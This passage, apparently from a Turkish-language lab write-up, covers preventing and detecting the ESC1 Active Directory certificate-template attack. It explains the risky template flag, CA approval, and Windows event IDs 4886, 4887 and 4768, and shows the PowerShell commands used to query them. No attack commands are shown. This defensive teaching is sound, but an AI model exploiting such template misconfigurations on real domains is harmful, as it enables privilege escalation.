&lt;/span&gt;&lt;span class="n"&gt;d-r---&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nx"&gt;9/28/2026&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;10:59&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;AM&lt;/span&gt;&lt;span class="w"&gt;                   &lt;/span&gt;&lt;span class="nx"&gt;Program&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Files&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;d-----&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="nx"&gt;9/1/2026&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nx"&gt;2:02&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;PM&lt;/span&gt;&lt;span class="w"&gt;                   &lt;/span&gt;&lt;span class="nx"&gt;Program&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Files&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;x86&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;d-----&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nx"&gt;9/13/2026&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;11:22&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;AM&lt;/span&gt;&lt;span class="w"&gt;                   &lt;/span&gt;&lt;span class="nx"&gt;scripts&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;d-r---&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="nx"&gt;9/7/2026&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nx"&gt;9:31&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;PM&lt;/span&gt;&lt;span class="w"&gt;                   &lt;/span&gt;&lt;span class="nx"&gt;Users&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;d-----&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nx"&gt;9/28/2026&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;11:27&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;AM&lt;/span&gt;&lt;span class="w"&gt;                   &lt;/span&gt;&lt;span class="nx"&gt;Windows&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h4&gt;
  
  
  Önleme (Prevention)
&lt;/h4&gt;

&lt;p&gt;Eğer sertifika şablonunda &lt;strong&gt;&lt;code&gt;CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT&lt;/code&gt;&lt;/strong&gt; bayrağı etkin olmasaydı, saldırı mümkün olmazdı. Bu saldırıyı engellemenin başka bir yöntemi de, sertifikaların verilmesinden önce &lt;strong&gt;CA sertifika yöneticisi onayını gerekli kılmaktır&lt;/strong&gt;; bu, potansiyel olarak tehlikeli şablonlardaki hiçbir sertifikanın &lt;strong&gt;manuel onay olmadan&lt;/strong&gt; verilmemesini sağlar (bu, umarız talebin meşru bir kullanıcıdan kaynaklandığı ile ilişkilendirilir).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Birçok farklı yetki yükseltme tekniği olduğu için&lt;/strong&gt;, ortamı düzenli olarak &lt;strong&gt;Certify veya benzer araçlarla&lt;/strong&gt; tarayarak potansiyel PKI sorunlarını bulmak &lt;strong&gt;şiddetle tavsiye edilir.&lt;/strong&gt;&lt;/p&gt;




&lt;h4&gt;
  
  
  Tespit (Detection)
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;CA sertifika ürettiğinde&lt;/strong&gt;, iki event loglanacaktır: biri &lt;strong&gt;alınan talep&lt;/strong&gt; için, diğeri (başarılı olursa) &lt;strong&gt;verilen sertifika&lt;/strong&gt; için. Bu event'ler aşağıda gösterildiği gibi &lt;strong&gt;4886&lt;/strong&gt; ve &lt;strong&gt;4887&lt;/strong&gt; ID'lerine sahiptir:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fwtmj1f10meld84bqq301.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fwtmj1f10meld84bqq301.png" alt=" " width="800" height="928"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Ne yazık ki, yalnızca infa'nın WS001'den bir sertifika talep ettiğini söyleyebiliriz; talebin SAN'ı belirtip belirtmediğini bilemeyiz.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;CA, verilen tüm sertifikaların bir listesini içerir&lt;/strong&gt;, bu yüzden oraya bakarsak, &lt;strong&gt;sertifika ID 36&lt;/strong&gt; için talebi göreceğiz (yukarıdaki saldırı senaryosundan olan):&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fgiai272q6ig7dmbus9g3.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fgiai272q6ig7dmbus9g3.png" alt=" " width="791" height="34"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;GUI aracının genel görünümü de SAN'ı göstermez&lt;/strong&gt;, ancak savunmasız şablon aracılığıyla bir sertifikanın verildiğini söyleyebiliriz. &lt;strong&gt;SAN bilgisini bulmak istersek&lt;/strong&gt;, sertifikanın kendisini açmamız gerekecek:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fgm7i9sf9m38jfg6gw33p.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fgm7i9sf9m38jfg6gw33p.png" alt=" " width="426" height="523"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Bunu programatik olarak görüntülemenin de bir yolu vardır&lt;/strong&gt;: &lt;strong&gt;&lt;code&gt;certutil -view&lt;/code&gt;&lt;/strong&gt; komutu, CA üzerindeki her şeyi, her sertifika hakkındaki tüm bilgilerle birlikte döker (büyük bir ortamda bu &lt;strong&gt;devasa&lt;/strong&gt; olabilir):&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F118hcdneko17qk36njq1.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F118hcdneko17qk36njq1.png" alt=" " width="800" height="424"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Biraz script yazarak, tehdit aktörleri tarafından kötüye kullanılan savunmasız şablonların ayrıştırılmasını ve keşfini otomatikleştirebiliriz.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Son olarak, hatırlarsanız&lt;/strong&gt;, saldırıda elde edilen sertifikayı kimlik doğrulama için kullandık ve bir TGT elde ettik; AD bu talebi &lt;strong&gt;Event ID 4768&lt;/strong&gt; ile loglayacaktır, bu event özellikle &lt;strong&gt;sertifika ile giriş girişimi hakkında bilgi&lt;/strong&gt; içerecektir:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F2si9jiuzx0a2zylj2d5d.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F2si9jiuzx0a2zylj2d5d.png" alt=" " width="800" height="563"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Not: Event 4886 ve 4887, Domain Controller'da değil, sertifikayı veren makinede üretilecektir.&lt;/strong&gt; GUI erişimi mevcut değilse, &lt;strong&gt;PSSession'ı&lt;/strong&gt; kullanarak PKI makinesiyle etkileşime geçebiliriz ve &lt;strong&gt;&lt;code&gt;Get-WinEvent&lt;/code&gt;&lt;/strong&gt; cmdlet'ini kullanarak event'leri arayabiliriz:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;C:\Users\infa\Downloads&amp;gt;&lt;/span&gt;runas /user:krysathal&lt;span class="se"&gt;\h&lt;/span&gt;tb-student powershell
&lt;span class="go"&gt;
Enter the password for krysathal\htb-student:
Attempting to start powershell as user "krysathal\htb-student" 
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;powershell&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;PS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;C:\WINDOWS\system32&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;New-PSSession&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;PKI&lt;/span&gt;&lt;span class="w"&gt;
 &lt;/span&gt;&lt;span class="n"&gt;Id&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Name&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="nx"&gt;ComputerName&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="nx"&gt;ComputerType&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nx"&gt;State&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nx"&gt;ConfigurationName&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="nx"&gt;Availability&lt;/span&gt;&lt;span class="w"&gt;

  &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;WinRM4&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="nx"&gt;PKI&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="nx"&gt;RemoteMachine&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="nx"&gt;Opened&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nx"&gt;Microsoft.PowerShell&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="nx"&gt;Available&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;powershell&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;PPS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;C:\WINDOWS\system32&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Enter-PSSession&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;PKI&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;PKI&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;C:\Users\htb-student\Documents&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Get-WINEvent&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-FilterHashtable&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;@{&lt;/span&gt;&lt;span class="nx"&gt;Logname&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'Security'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;ID&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'4886'&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="n"&gt;ProviderName:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Microsoft-Windows-Security-Auditing&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;TimeCreated&lt;/span&gt;&lt;span class="w"&gt;                           &lt;/span&gt;&lt;span class="nx"&gt;Id&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;LevelDisplayName&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Message&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="n"&gt;/13/2026&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;4:05:50&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;PM&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="nx"&gt;4886&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Information&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nx"&gt;Certificate&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Services&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;received&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;a&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;certificate&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;request&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="n"&gt;/11/2026&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;1:24:02&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;PM&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="nx"&gt;4886&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Information&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="nx"&gt;Certificate&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Services&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;received&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;a&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;certificate&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;request&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="n"&gt;/11/2026&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;1:15:01&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;PM&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="nx"&gt;4886&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Information&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="nx"&gt;Certificate&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Services&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;received&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;a&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;certificate&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;request&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;powershell&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;PKI&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;C:\Users\htb-student\Documents&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Get-WINEvent&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-FilterHashtable&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;@{&lt;/span&gt;&lt;span class="nx"&gt;Logname&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'Security'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;ID&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'4887'&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="n"&gt;ProviderName:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Microsoft-Windows-Security-Auditing&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;TimeCreated&lt;/span&gt;&lt;span class="w"&gt;                           &lt;/span&gt;&lt;span class="nx"&gt;Id&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;LevelDisplayName&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Message&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="n"&gt;/13/2026&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;4:06:05&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;PM&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="nx"&gt;4887&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Information&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="nx"&gt;Certificate&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Services&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;approved&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;a&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;certificate&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;request&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;and&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="n"&gt;/13/2026&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;4:06:02&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;PM&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="nx"&gt;4887&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Information&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="nx"&gt;Certificate&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Services&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;approved&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;a&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;certificate&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;request&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;and&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="n"&gt;/11/2026&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;1:24:14&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;PM&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="nx"&gt;4887&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Information&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="nx"&gt;Certificate&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Services&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;approved&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;a&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;certificate&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;request&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;and&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="n"&gt;/11/2026&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;1:24:14&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;PM&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="nx"&gt;4887&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Information&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="nx"&gt;Certificate&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Services&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;approved&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;a&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;certificate&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;request&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;and&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="n"&gt;/11/2026&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;1:15:12&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;PM&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="nx"&gt;4887&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Information&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="nx"&gt;Certificate&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Services&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;approved&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;a&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;certificate&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;request&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;and&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Event'lerin tam denetim (audit) günlüğünü görüntülemek için&lt;/strong&gt;, çıktıyı &lt;strong&gt;&lt;code&gt;Format-List&lt;/code&gt;&lt;/strong&gt;'e pipe'layabiliriz veya event'leri bir dizide saklayıp tek tek kontrol edebiliriz:&lt;/p&gt;

&lt;p&gt;powershell&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;pki&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;C:\Users\htb-student\Documents&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$events&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Get-WinEvent&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-FilterHashtable&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;@{&lt;/span&gt;&lt;span class="nx"&gt;Logname&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'Security'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;ID&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'4886'&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;

